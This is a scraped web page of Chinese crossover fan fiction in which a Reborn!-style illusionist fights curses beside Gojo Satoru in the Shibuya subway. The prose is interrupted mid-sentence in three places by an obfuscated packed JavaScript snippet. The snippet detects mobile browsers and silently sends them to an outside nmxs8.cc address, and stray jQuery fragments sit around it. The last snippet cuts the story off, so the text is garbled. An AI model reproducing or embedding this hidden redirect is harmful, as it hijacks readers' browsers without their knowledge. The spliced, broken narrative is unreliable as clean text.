“虽然不知道你是什么登西,但是初次见面就对异性动手动脚真的很不礼貌。”小莳仍然很不满意身后的压力,挥挥手在周身放了一圈刺。 灵感来源于很久很久以前她的老师,里包恩的一套地铁专用cos服,因为穿上了刺猬或者说板栗一样全身带刺的衣服,所以在早高峰的电车上也不会有人想要靠近。 i人狂喜套装。 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413103|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显不对劲的场景并不足以让麻木的群体警醒,但是身体上的一点点刺痛就立刻能驱赶他们,人类有的时候就还挺有趣。 玛雷指环也挺好用,是很不错的媒介。经过一番小小的实践,小莳对它较为满意。 这个怪东西长得像火山头,六道骸以前有很喜欢玩一些地狱系岩浆幻术,小莳一下就来了灵感。右手指节弯曲扣了扣站台,发出不太清亮的叮叮声,随即-- 像是炸药被引爆,蓝皮肤黑牙齿的独眼火山怪物所立足之地被莲花藤蔓缠绕,紧随其后的是地狱的岩浆倾袭。 作为热身,她混了一点真实的沙土在其中,她顺手就地取材在附近人身上薅来的。 这一切紧锣密鼓的进行,从她正式来到也不过过去十秒左右,小莳趁着对面两个怪东西没反应,把问题用更礼貌的方式问了一遍这下站在她旁边护栏上的眼罩男,“这位先生您好,我初来贵地,请问这是哪里呢?” “涩谷,地铁站。” 很喜欢来到新世界摸不着头脑的一句话:“啊?那不是电视剧里的虚拟地名吗?”被遗留下的爱丽丝什么什么的。 她还以为并盛町的地下基地被拆了,改建城镇地铁线了,笑死,原来这里根本不是老家。设定上是在东京啊! 火炎,OK。 指环,OK。 幻术,OK。 火山头,头上长角的,完全没有头绪。总不至于几年不见世界直接变了。 涩谷……一开始也没听说过会有降落错世界的事情啊? 被突如其来的意外迷得晕头转向,小莳一脸迷茫,对旁边摘下了眼罩的帅哥说:“好吧,谢谢你,我想我大概不应该出现在这里。有什么我能帮到你的地方吗?没有的话我先撤了。” 虽然不清楚具体发生了什么,但小莳身为人类,肯定是要帮一眼看上去就是人类的家伙的嘛! 这么想有点物种歧视在里头,但事实如此,更不用说那个在轨道里毫发无伤的丑东西刚刚想直接给她来个黑虎掏心。 和她说话的那个高个子男人摘下了眼罩,他也有一双很蓝的眼睛,不过和小莳不同,他的眼睛在发光,物理意义上。 没摘眼罩是个路人,摘下来秒变大帅哥,原来超人克拉克这种“露不露眼睛完全判若两人”的设定是真实存在的哇。小莳有点走神,啊,好像很多少女漫里面也是这样画的,戴上是眼镜妹,摘下是改造大美人。 她脑袋里转过很多无效信息,在一阵沉默过后,白毛大帅哥提出了请求:“你能驱散人群吗?” 这可太简单了,小莳没怎么经过思考,比了个OK的手势。下一秒转身进入潮水一样的cosplay大军,两手都拿着幻术造出的木仓,高举,砰砰砰。 然后转圈扫射,砰砰砰。 没有任何人因为枪击直接受到伤害,因为那根本就是空响弹,只是在和跑步时裁判使用的信号枪一样,仅仅只向拥挤的人群传达了一则鲜明的讯息。 具体情况自不必多说,牧羊犬就是这样溜羊,将羊群驱赶到意图的地方。 出于正义伙伴的需要,小莳贴心的给仍然在坑底的少部分人留了通道。她随手造了个台阶,辅助人回到站台上。 不过看样子那个火山头确实是会玩火的,它掏了一个路过的一般群众,然后又烧了他,化作一滩焦炭。 …… 不理解,小莳歪头:“我刚刚明明击中你了,你怎么看上去一点事也没有。” 作为幻术师小莳当然不可能上来就大咧咧地说“没错,如果你发现这不是幻觉一切就几乎不会成真哒!”首先排除对方对幻术了解过甚,这明显是个新新的世界。对方没道理完全不上当,所以它到底是如何笃定自己不会受伤的? 有点挫败了,虽然她没有全然的认真,但那是她以为这样就足够把对方干掉了。 结果他非但没有下线,看上去还毫发无伤。 漏瑚也不太理解,刚刚那一阵灼烧对他确实造成了伤害,只是强度不高,而他用咒力很快的再生,稍加回味,发现事情并不简单,所受的伤害并非来源咒力:“你不是咒术师?” 咒术师。 小莳:“啊?” 原来是跑到前男友老窝里来了吗? 不确定,但她对此不甚了解。首先,和她提过这件事的伏黑甚尔本人就不是咒术师;其次,她没有得到太多的相关信息。 只是她记忆尚可,想起伏黑甚尔和她解释为什么天与咒缚不能直接杀死诅咒的理由。 她轻声念叨:“只有诅咒才能袚除诅咒?” 这次回答她的是眼罩帅哥,“嗯哼。” 前面忘了,后面忘了,她是个花季少女,可不会搞什么诅咒。 经过三秒钟的思考,“那我还是离开吧,袚除咒灵并不是我的专精科目,你们懂的,我路过。” 甚尔听说的没错,咒灵形貌千奇百怪,像深海生物,进化的时候谁也看不见谁,所以就随便乱长长这样。确实比虫子更恶心。 头上有犄角的家伙,大概是它吧,催动了自己的特异能力,小莳站立的地方枝丫破土而出,一瞬间她就被缠绕其中。在外面只能看见疯狂无规则律动的藤蔓。 下一秒,收紧,但花御没有感受到压碎猎物的触感,也没有东西从中破出。 而小莳本人已经在白毛帅哥旁边一个同高的栏杆上蹲坐,没什么形象可言:“不看不知道,原来你是真的很高。我原本以为只是站位够高!”这个海拔,至少有一米九。 “以及,我注意到那边的人一直没有减少,是出不去吗?结界?还是真的被关起来了?你有头绪吗先生?” 再次避开藤条,小莳直接在天花板上倒立站起,睥睨受重力影响的非人类们:“你们干嘛只打我不打那个人?” 指白毛帅哥,“我以为你们有冲着他来的迹象,其他人都只是背景板和play的一环呢!” 36. 第 36 章 五条悟也是第一次见到有人货真价实的穿越。在六眼的辅助下,他清晰地看见原本封闭的隧道顶像是被难以干预的神秘存在开了个次元洞,然后有位背着双肩包的姑娘从中掉了出来。 现在原本容纳一人下坠的洞消失了,六眼和大脑做出了如出一辙的判断,这不是帐,也不同于他以前见过的任何一种术式,只是仿佛真有一扇空间之门,打开又消失。简直是奇幻少年漫里面会有的画面。 可惜时间不对,帐内发不出消息,不然一定要拍照片给学生们看看。 而她身上也和其他普通人一样具有咒力波动,只是没在她身上看到像咒术师一样的迹象……右手的戒指上点燃了一簇青色火焰,就是火焰在庇佑? 鉴定为异世界的战斗体系,闻所未闻,但直觉来讲,不弱。 从无化有的把手,突如其来的尖刺,还有不知道从哪里掏出来的枪……确认过眼神,这女孩衣服口袋里放不下那两把。 可她又并不是对咒术界毫无了解。 “只有诅咒才能袚除诅咒”,不是外行人能说出来的。 她是谁? 眼下比起思考这个更重要的还是把面前三只特级清理掉,五条悟初步判断此人的非敌对状态后,回答了她的问题。 “是帐哦~” 说得好,用一个没听说过的名词解释了现在令人一头雾水的情况,小莳已经感受到浓浓的思乡之情。完全没听懂。 但凡事也有轻重缓急,小莳觉得此刻不是详谈的时机,便通情达理的建议:“你看起来挺有把握的样子,不如等解决完这些……”是叫什么来着?咒灵,万一说错了会有点贻笑大方,但是当时真的没有太认真的听讲前男友家乡的世界观,小莳停顿一下,接上,还是选择更稳妥的描述,“东西,我们稍微聊两句,先生?” “好哦,如果小小姐你能将人群隔绝开给点施展空间,我这边会结束的更利索。”白毛帅哥将眼罩塞进口袋里,竖起手指,露出半张轮廓分明的侧脸,“五条悟,我的名字。你可以叫我五条老师。” 五条,御三家,这我熟! 你家是真有帅哥,好好好,今天也是超直感起效果的一天。 小莳一开始没想明白五条悟的意思,直到他冲上去嘲讽了一通对面的非人类组合,她才后知后觉,这人的招式莫非是比较大开大合一类的,没办法精准点对点打击,所以请求她帮忙保护一下被不知名存在关起来的人质? 她问:“如果我能创造一个独立的空间,把你,123,还有我,拉进去,你行动会方便些吗?” “哦~那就再好不过了!”五条悟拽掉了火山头的一只胳膊,回首看维持蹲坐姿势的小莳,她已经掏出了木仓。看样子等他应答她就会做出反应。 小莳得到肯定的答案,先对被掣肘的火山头开了一枪,然后是鼻子上有条黑色横杠的双马尾红眼睛,最后是头上有犄角。 只有第一枪打中了,剩下两个非人类行动一个赛一个快,小莳又被藤蔓缠住了,这次她没像开始时一样立刻用幻术脱身。 基于她的判断,这个木系精英怪走的仍然是物理系,仅仅只是触碰的话,大概不会有太多影响。 可她能把人拉进幻境的方式……子弹只是其中之一嘛! 3号标记成功,然后是2号。 小莳被2号的鼻血糊了脸。 只是看上去是鼻血,实际上血液的来源是他脸上那道黑色的纹身。 危险,危险! 脑内的直觉雷达滴滴滴作响,小莳在最后关头放弃了接触血液的念头,心念一动,脱逃拔地而出的木牢桎梏,原地只留下作为障眼法的地铁护栏。 她回头一看,合金的质地被坚固的藤蔓穿透,2号的血液溅射在其上,造成了斑斑的腐烂一样的锈迹,如果是她本人在那里,骨头大概都化了一半吧。 是操纵血液类型的能力,而且身负剧毒。 打又打不中,碰又不想碰,谁知道会不会因此染上什么怪病。 “你能让我打那个人一枪吗?”小莳手上的枪械转了一圈,差点掉地,她赶紧接住捧着了,差点丢人,她指指那个形似人类的流血系战士,“喏,就是他。还差一个标记了。” 五条悟在小莳语意未尽时就理解了她的意思,放下漏瑚,瞬移到胀相身后,开启无下限拦在他的去路上,小莳顺利给了他一个标记。 这帅哥人还挺聪明的嘛! 小莳甩甩指尖,幻化出的武器尽数消失,然后她双手合十,在地铁站里发出了清晰可闻的拍手声,“嗨嗨嗨,欢迎来到--世界的尽头!” 世界的尽头纯纯瞎编的,她意思就是吓吓那三个听得懂人话的袭击者。反正他们又听不明白,说不定会因此忌惮几分,不编白不编。 三道身形瞬间消失,小莳对自称五条悟的人伸出手,“一起去探险吗?” “他们在哪?”五条悟问她。 “在……”小莳想了想,双手食指在半空中画了一个正方形,“被我关起来了,只在这附近的一片方寸空间之中。这是幻术,我是术士。”最后简要自我介绍一下。 《维摩经·不思议品》中言及:以须弥之高广,内芥子中,无所增减。意思是菜籽中恰好能放得下一座巨大的须弥山,山中奇景,具在一芥种子中,分毫毕现,无所缺漏。 小莳通过幻术前期的暗示,让几位相信自己确实会被关起来,又通过确凿无疑的标记:触碰、火焰接触都算,只待最后蛛网缠绕,顺利勾人入局,进入到她久违创造的幻境中。 而此临时创造的幻境大小,却只有刚刚小莳比划的那么大,大约8*8*8的正方体,她随手定位在了隧道深处某个远离人群的地方,具体是哪要进去的时候才知道。 “看你的表情算是大概明白,总归是一些空间上以小化大的延展把戏,我对此道还算熟悉,所以即使装备不齐全也大概能维持稳定,不过如果他们在里面一直蹦迪的话我也可能关不了很久……要快点进行紧张刺激的狩猎行动吗,五条?” 她才不会叫一个穿着dk的人老师,打扮得像男高,年龄……感觉也没到做老师的大小呢!直接称呼姓氏是稳妥的选择。 “不用担心,5分钟,不。3分钟就够了。”得到回答以后五条悟旁若无人的进行拉伸。 “那我尽力撑持,不瞒你说这个端口有点不太稳定,具体能维持多久得看缘分。我和世界的缘分。”毕竟她也初来乍到,对方这么自信她就不玩夸下海口那一套了。 “……” 小莳没等来五条悟的手,便主动跳到他边上扯他的袖子,诶,摸空了。 再来一次,又摸空了。 ……这素在? 小莳的手指在他身前左碰碰右碰碰,碰不到。 五条悟低头见刚刚说着“一切得看缘分”的女孩现在专注和他的无下限捉迷藏,一点也没有紧迫的意识,主动解除了术式,主动圈住女孩乱晃的胳膊。 “啊!”小莳突然有一种奇妙的感觉。 “怎么了?” “你手好暖和。”小莳抬头看他,感叹好伟大的一张脸!然后一脸稀奇地说:“要不是征十郎再三和我确定我们家绝对没有流落在外的其他小孩,我果然想怀疑其实我们有点血缘关系!” 看这毛色,这大俺睛,小莳捏了一下自己的背包带子,齐木同学的声音像征十郎,五条悟长得有三分像自己,主要是发色和瞳色--但这是她目前见过的第一个,哲也的头发还要更蓝些,眼睛却没那么亮。这世界真是奇妙捏。 “异世界也会有血缘关系吗?真是奇异。” 小莳给了他一个肯定的回答:“会的,我和我哥就是。我们全家人都做过DNA检测。”虽然全家一共就三口人,做过DNA检测的,一个赤司征十郎。一个赤司征臣。 下一秒,小莳带着五条悟来到新的空间,四处灰蒙蒙的,弥漫着干燥的灰土和雾气。 “有点简陋,但是你有没有看过神秘博士,自从有幸看过以后,我一直都想和人分享这句话:里面大的大得多!(biggerontheinside)。”看神秘博士是在上帝丹高中的时候的事情了,小莳那时被科学世界观掌控,根本不存在变大变小的可能,现在一有机会便想分享一下。 虽然世界线上出了一点小小的变故,但是她恢复了火焰,今天也不算毫无收获,值得与吃饭家伙两年小别的小莳浅浅庆祝下。 五条悟:“啊,没看过。” “那可能这边没有神秘博士,真遗憾,吃饭的时候看电视还挺爽的。”小莳比了个耶,“他们在你10点钟方位和8点钟方位,8点的那个比较远,看样子是在消极怠工,你可以先把火山头和木头处理了,加油加油!” 五条悟分明看见眼前的伶俐女孩变出了一个手表,上面的倒计时从3:00:00开始,还是秒表。六眼给出的判断与她说的不谋而合,只是她说得更准确,五条悟选择相信。 “对了,我是泽田小莳,过会见。” 五条悟只来得及挥挥手表示知道了,小莳就消失在阴霾的灰尘中,隐没在看不见的角落里悄悄观察。 她是个小天才,但这不代表她不会出事。 这种时候,局势能对应的上穷寇莫追这四字,万一对面出了什么变故,突然反扑或者死前自己炸了想带走一个……远离一线战场2年,装备也只有玛雷指环的小莳真不一定能及时反应过来。 小心驶得万年船。 她看见战场上是五条悟一人的乱杀,那边的边境因为能量的波动一度陷入了不稳定的状态,有坍塌的风险。芥子破破烂烂,小莳缝缝补补。 挥手,加固。 一分钟过去,白热的战场只剩蓝色火山头--小莳在花御死掉的时候解锁了它的名字,叫漏瑚,还有一个没看清出手方式就把花御打到地里的五条悟。 她联想到以前约会的时候去小吃摊买的一整只章鱼饼:用高压和面糊,合上盖子,把手再绕几圈增大压力,过一分钟出来的就是肉面合一的焦焦脆脆的一张大饼了。 花御就像那个章鱼,已经完全和虚构出的泥土融为一体。 场地、困境都是虚假的,但……咒术师们也会称自己的技能为术式,术式是真实存在的,并且在临走前的那一瞬间,花御真实相信了眼前的一切存在。 它认可了规则,也就接受了自己既定的死亡。 它的好队友用了几秒钟时间物伤其类:“怎么会……花御?” 小莳一边听着墙角,一边继续给五条悟那边的战场上强度。再一拳要是给这气球一样的幻境打泄气了,那一瞬间爆炸的能量倒不至于伤到在场的几个存在,可她还记得不知道为什么地铁站里还关着羊群一样挤在一起的群聚动物。 这边出了问题,那边就殃及池鱼。 听着漏瑚的话,小莳在接下来半分钟又解锁了2号的姓名,胀相。 被称呼为小丫头,她感觉自己又年轻了几岁,但是“把她找出来,杀死”这部分很不中听,小莳不喜欢。 胀相看起来也不太喜欢被安排的明明白白,但是他的身体动作却很诚实。 他开始寻找。 小莳只能以减小场地为代价持续加固边壁,像搭房子立墙垣那样,越高的房子,需要越坚固厚实的材料……现在比起足够大的空间,小莳选择开源节流。时间地点一个不明,初出场的敌人们就不算弱小,鬼知道接下来还会发生什么事,勒紧裤腰带过日子。 小莳本来以为可以周旋到五条悟说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413104|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的时间,直到又十几秒后新的名词出现。 领域展开,听起来就很不祥。 她觉得像游戏里开大。 战局中一着不慎满盘皆输,因此做出判断虽然只在瞬息,却至关重要。小莳做出了一个违背常理的决定。她在胀相面前开了个口,放他出去,而他也确实战斗意气不足,有了机会就一溜烟跑了。 小莳在空中捏一道火焰,再次合拢,现在场内只有三人……两人一咒灵了。 【棺盖铁围山】是什么东西,听前三个字就不妙! 空气中弥漫着灼热的气息,结合这个什么领域的名字,岂不是像热锅冷油,开烧! 与此同时,五条悟也说着什么【无量空处】 Mafia的命也是命,混蛋们!她还没有完全搞清楚情况!!! 小莳在这短短电光石火间,多亏了脑袋足够好用,闪过了数条信息。如果说世界的交战是一场回合制游戏,那么小莳在思维上的速度加点大概是世界领先水平(以7*3世界论,这里的情况她不清楚,短短几分钟打掉了她一些自信) 因此她顺从直觉,离开了幻境,凭空又出现在黑黢黢的地铁轨道中,谢天谢地没看到那个胀相,说不定他顺着铁轨直接润了。 小莳将幻境缩小缩小,捏在食指中指两指尖,现在其中仅能容纳五条悟和漏瑚。她像是在玩一颗任摆弄的小球,有钝感力绝佳的路人还在轨道上,看到她突然出现,还打算和她说话,询问情况。 而她刚才还对空气打了几发。 现在情况远不如看上去那样好,小莳捏着自己的幻境就往隧道深处走去,没人跟上。 回到刚刚气球的比喻,一个小小的气球里突然打入800ml的空气,它有一定概率会突然爆炸。但是一个已经被撑得有点大的气球里,刹那打入同量的空气,基本肯定会炸开。 两害相权取其轻。 小莳尝试用雾的构筑效果建立起坚硬的壁垒,话说她是单一雾属性,要说坚固其实还得靠雷的硬化,可为今之计也不能奢求不存在的东西,她想到了阿纲的XBURNER,临时借鉴一下。内层是坚固的铜墙铁壁,外层是流动和缓的火炎。 她在战斗的时候真的很喜欢planb,和备用钥匙一样给她安全感。 首先祈祷这两个魔法对轰不要破坏她临时捏的幻境,其次就算爆破了,期待外界的柔性之炎能像跳水缓冲一样承托住乱迸射的咒气,咒力……随便他们怎么叫它。 跑到阴影里就停步,她幻想着贝壳裹住外来的砂石,一圈又一圈地围绕它的形状,最后形成银白色光滑的珍珠。 宁心静气,右手指环上的火炎燃得更旺盛,簇拥着,溅射着。 空间被打破的分毫之间,她便感应到了,随之而来的是猛烈的咳嗽反射。艰难抑制住,然后觉悟化成的火炎一层又一层覆膜在角落,遮住了大部分飞溅的连带伤害。她的planb被迫派上用场。 没等她反应过来,她突然开始胡思乱想。 眼前一阵黑一阵白,然后是接踵而来的洪流,小莳觉得自己失去了思考的能力,但是身体驳回了大脑,她还得做些什么。 嘴唇和手比身体先一步活动,小莳先是呕,然后手背贴在额头上,做出发烧探体温的动作,小莳喃喃道,说话也结结巴巴:“像脑袋被打了--打了两个大比斗,阿巴阿巴。” 等她再反应过来,她看见漏瑚的另一个头被五条悟单手捏着。五条悟直立在铁轨上。 动作很像火神大我单手抓篮球。 不对,漏瑚也只有一个头,真是脑袋不清醒了。 “刚刚发生了什么?”小莳觉得自己吐光了晚饭,脑袋热烘烘,胃里凉飕飕,手上还沾着点呕吐物,好不狼狈。 还有幻术反噬的一袖口血沫,这倒是最无关紧要的了。 不讲规矩的手在地铁隧道黑漆漆的墙上蹭了两下,不礼貌的把泛酸的唾液还有其他内容物塌在上面,不想把衣服当抹布,也懒得再用幻术,开源节流。 今天她就要做一回低素质市民哒!但是还沾了一手灰。 五条悟前进一步,她后退一步:“抱歉,你身上都是血,我们可以保持下社交距离,暂时。” “……” 小莳晓得自己身上也算不得多干净,但考虑到她遭遇着一切都是因为眼前的人,她嫌弃的理直气壮,并觉得自己足够委婉了。 五条悟看上去想说些什么,小莳弯下腰又呕了一通,打断了他。 “……” 舌头舔去嘴边的唾液,呜哇,还有晚饭的米粒,是呕吐物的味道,赶紧呸呸呸:“这下我觉得好多了,虽然距离三分钟还有十几秒,但是有点遭不住。” 回头,是自发围成一圈尽可能远离的人群,“看来群众也都伤亡不大,除了这边几个被踩踏的。” 总结:“你们的动静着实不小,啊,他还在动!” 小莳手指指向五条悟手里的头。 “他啊,上次就是这样。”五条悟,甩了甩丧失行动能力的咒灵,它的血到处乱飞,引得小莳还是撑起一把透明伞,抵挡距离仍然有5、6米的他。 虽然不知道上次是哪一次,但是……听见了鸣笛的声音。 “列车进站了,有风。你上来吧。”丢下一句话,十分具有责任意识的小莳,在闲聊之前想起了自己还有牧羊人的职责在身上,列车进站势必会导致人群动荡。 她出隧道后对着天花板再来几枪,然后对几步外不知道生死倒在地上,身上还有脚印的躯体也来了几下。 “让我看看是谁想往前走?” 人群像被看不见的弹簧拉扯,后缩再后缩,地铁口形成一圈真空带。 无人越界。 挺好。 37. 第 37 章 真人搭乘上一站地铁顺风而来的时候,发现站台空无一人,这和他想象的不一样。 没有人迎接,真无聊。 小莳也是看得眉头一皱,车上这些颜色各异的算什么东西:“无轨电车,但百鬼夜行?” 站在她身边的五条悟语气沉沉:“是【改造人类】。” 改造人类,所以是人类被变成那种样子,噫。小莳意识到这点的时候脸都皱了,这个世界玩的好大,魔幻现实主义? 改编成漫画得要20+,孩子看了会做噩梦的。 “……你要不要在下一场战斗开始前,补个刀?”小莳这两年爱看电视,最害怕的一集就是好不容易打怪到最后,没有完成最后一下,酿成大祸。 但是来不及了,列车门开的一瞬间,下饺子一样涌出了异变的人类,数量之多,有几百人众。 小莳在十几个下车口处都布下泥沼,下车变异人之多,一个接一个,来不及吞没所有。 植物大战僵尸最新一关都没这么难。 手指画了个圈,被她指到的越过一重障碍的幸运异变人类们各个脑袋开花。 如果奈亚在就好了。 对面的家伙有点多,小莳没注意到几步外的五条悟做了什么,只是一道道红光蓝光闪过,成片的五颜六色的□□炸开,蹦出黄黄绿绿紫紫的液体和半固体。 “……” 有少数不幸群众仍受到了波及。 有个人头被拔掉了,有个人腿被吃掉了,眼花缭乱。小莳一个一个查漏补缺,对漏网之鱼们进行精准射击。 但这也并非持久之计,小莳离开地面扫视全场,现在还剩100多个目标群体,分布散乱,难以一网打尽。 2018年的涩谷,是2024年的过去,此时此地,小莳又想起很多年前自己在《法哲学原理》里面看到的关于罗德岛的有趣引述。她对哲学了解实在是不多,很明显,她一个幻术师如果研究哲学,就像海洋学家去研究大草原的鸟类,跨专业了。 不过黑格尔的哲学艺术给罗德岛的故事增添了更加富有魅力的面纱,有关理性和客观是统一的,凡是合乎理性的东西都是现实的,而是现实的东西都是合乎理性的,恰好现实也是:罗德岛的重力与地球其他各处并无不同,因此无论是在家乡还是在罗德岛,实践跳跃这一行动的结果也应该并无偏差。 语言、哲学都脱离不了现实世界,如果说这对和哲学半绝缘的小莳有什么启发,那就是:幻术脱胎于现实,它的本质是虚假,然而不必要将条条框框分那么清楚,何不将虚假的幻觉寓于真实世界? 这里是真实的世界,这里是时间的彼端,或者是六道骸爱说的轮回尽头,实际也不过都是覆盖万千枝丫的罗德岛一隅。 小莳在一个她曾以为是虚构地址的涩谷地铁站下面,仅用她缺乏磨合的指环,施展了一个能够确实杀死活着生物的幻术。一颗巨大看不见树梢的山茶树在场中央拔地而起,花瓣闪着粉色和洁白混杂的荧光,将昏暗的地铁光线衬成背景板。繁花盛开。 人们一时之间纷纷忘记了胆怯,只受到参天巨树和其花瓣的蛊惑一样,眼神痴缠地望向它。没有人发出疑惑,短短数秒内站台旁何以会出现如此景象。 小莳的眼角渗出些许血液,瞳孔的颜色被染成岑蓝色,这是过量雾之火炎还有刚才反噬共同作用的结果,看起来比实际严重。她不在意笑着开口:“祭典,开始了。” 言出法随一样,飘飘摇摇的花瓣下坠,看起来降落的速度并不快,却以与体感完全不同的速度秒速附着在在场所有人身上。 于广莫之野上伫立,纷扬如雪如柳絮的花瓣沾到改造人类的刹那便燃烧,那火焰根同地狱之业火,永不熄灭,直至燃尽罪愆。嚎叫与悲戚成了现场唯一的通用语,出自五光十色的受难者们。哀嚎声和火焰升腾,摇动,但没办法影响巨树分毫。 生前长得奇形怪状血肉都非同色的改造人,如今化为相同的灰烬,宴席的交杯欢饮在火焰中燃烧殆尽。 距离列车进站一共过去两分钟。 她的重新将注意力给到列车:还不开走? 小莳想,那它多半是不会开走了。 好消息是现场的群众又安全了,暂时是这样没错。 “就在刚刚,我突然想到一件事。”小莳倚靠自己幻化出的不科学巨大山茶树,它粗壮虬结的根须不像是盆景里的椿树。 她发出清晰的喘息声:“虽然只有诅咒才能袚除诅咒,但是人被杀就会死嘛。” 管他是变异人类还是巨噬人类还是什么,主语最终都回归人类。 只要是人类,就会有被杀死的可能。这就是小莳的人类观,人门! “哦?你是谁?”没听夏油说过东京有这号人啊?真人摸不着头脑,今天的业绩还没有达标,结果刚转型的一车厢全被干掉。 真人觉得自己像那个卖不完报纸就要喝西北风的报童,可怜呢。转化人也是他一个个含辛茹苦像流水线上的小工一样摸出来的,如今一夕被毁。 而小莳第一眼看到真人,脑内就警铃大响。 这订书机脸何方神圣。 她忘掉了对五条悟周遭血液的嫌弃和他手上漏瑚的大头,一个纵身站到他身后,“你能把他干掉吗?此时,此地,刻不容缓。” 真人下车的时候就看到了再次奄奄一息的伙伴,花御和胀相不知所踪,再次感叹,虽然人类的气息甘美又惹人着迷,但是这情况和当时聊好的五条悟定制电车难题不能说完全一样,只能说毫不相干。 是因为那个背书包白毛女。 他在一瞬间做出了自己的判断,再见了五条悟,再见了漏瑚,夏油,我们下次一定,好吗? 好的。 “无为转变·多重魂。”随手看看能不能带走几个吸引注意力,接着就这样撤退吧--他在那秒钟是这么想的。 然而他的去路被岩浆遮挡。 天下武功唯快不破,可惜小莳的脑袋也还不慢。她直觉自己不能触碰到这些个咒灵,便在订书机脸和她对视想事情的一瞬间把自己替换到了人群包围的中中间,此刻五条悟身后站着的是她的手机。 经过确认,在隧道里它就彻底没用了,只是一块连核桃也敲不破的板砖,好歹上面有着本人多个月的使用,沾染她的气息,足够达成傀儡人偶的条件。她也就顺势把它的最后用处定于幻术的媒介。 人群中的小莳带上了黑色贝雷帽和绿色墨镜,穿上了裹得严严实实的米色风衣,完全遮住了她今天原本的装扮--轻便日常运动风。 现在她是女明星出街低调ootd了。 留住了想除掉的家伙,剩下的事情就靠咒术师解决。 看样子那个麻花辫的技能是需要以触碰为条件施展,正好,这个五条悟好像是“只要我不想别人都碰不到我”的天克。 站在那边的只是个手机,一个半成品人偶能指望它做什么? 小摸一会。 太快了,他们的战斗是几十道残影在空中乱晃,连破空的声音都听不见,体术正好也不是小莳所专精的。 好吧,其实是完全不擅长,而且眼睛都酸了。 但她也能看出来五条悟捏着火山头让出一只手,也能游刃有余和这个变身怪人你来我往。 他甚至还能拦住去路,不让那东西靠近人群有可乘之机。 小莳在人群拥挤中缓慢移动,涩谷,地下5层,上头还有商场。 今天是万圣节? 那不是10.31吗,今天都11.30了!一个月的时间,怎么还附送时间倒流套餐。 不对,这边怎么还有人手上抓着翻盖手机,她的手机屏幕上是写了2018吗? 真假?这位手机主人的目光完全聚焦在她的山茶树上,哪里顾得上亮着屏幕的手机,她顺手摸走了这位幸运路人手上的设备。 2018年10月31日,20:59? 她有按了几个件,其他的因为设置了密码全部对小莳不可见。 小莳已经往前走了几步,她不打算走回头路,随手把没用的东西丢掉,想不清其中关窍。 回到赤司家的时候,那是在彭格列的2016年秋季,西西里已经开始降雨。 却已经是征十郎的2022。 时间恰好过去了2年,这边是顺延了……吗? 好怪,其中或许还有什么联系,信息还是太少了,分析不出来什么。 …… 小莳喉中诞生一股痒意,她又想咳嗽了,她控制住自己呕吐的欲望,忍受晕头转向的身体反应,只是在人群中蹲下,没有往人偶被销毁的地方投去注视。 这订书机脸浓眉大眼的,居然是个趁打架时候会对无辜女孩出手的残渣! 回到弱肉强食超能力世界体系的第一天,被反噬了两次,再来真的就不礼貌了。她是来还乡的,不是来感受黑暗降临的! “怎么啦,这副表情?”跳脱的声音响起,几次呼吸以后变得迟疑:“这棵树,不会因为主人的死而消失么?”难道不是术式而是咒物一类? 小莳缓缓站起身,心里回答:不是啦,其实是因为主人还没死呢,诶嘿。 “嘛嘛,她就站在中间,我甚至没有开领域。这能怪谁呢!” 真人嘴上这么说的时候,心里已经紧张的不行,首先可以确定他绝对打不过五条悟,其次这花瓣满地都是,点燃的灼烧感让他很受打扰,第三夏油能不能快点出现,他要坚持不下去了。 早知道没用他就不炸这个女人了。决策失误,五条悟还有点生气了。 他躲进人群里。 21:02,羂索携带狱门疆来到战场。 真人不敌,与五条悟相隔距离缩短到4、5个身位的时候,正方体形状的奇怪物品被丢在地上。 小莳在人群里偷偷看,这姿势像丢猫猫玩具沙包,无端联想:里面指不定塞了猫薄荷。 丢东西这人脑袋上还有缝合线,一眼看上去就是和订书机脸一伙的。 哦,订书机的名字叫真人。 五条悟正要离开。 正方体皮都展开了,正中间还有一只眼,不怀好意地乱滚,锁定了五条悟的轮廓。 “哟,悟。” 五条悟听见声音回头。 五条悟愣在原地。 五条悟说:啊? 停顿了短暂的1/2秒左右,小莳联想到套麻袋。她还没来得及把嘴角的血都擦掉,再这样下去要结痂了,很不体面。 难道说这个【狱门疆,开门】的意思是…… 嗨嗨嗨,过了两年普通生活,一出场就遇到家族叛乱级别的高端局,又是体术又是战术,有的时候真的很孤立无援。东京的咒术师这么水深火热吗?这种事情不要啊! 小莳的双眼透过墨镜分毫不差地将这幅画面摹刻在脑内,这是她马上要临时伪造的假象,最好一刻也不要失误。 危急存亡的关头,希望五条悟不要躲开她。 下一秒,小莳在无人注意到的角落窜出人群,伪造的障眼法顺利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 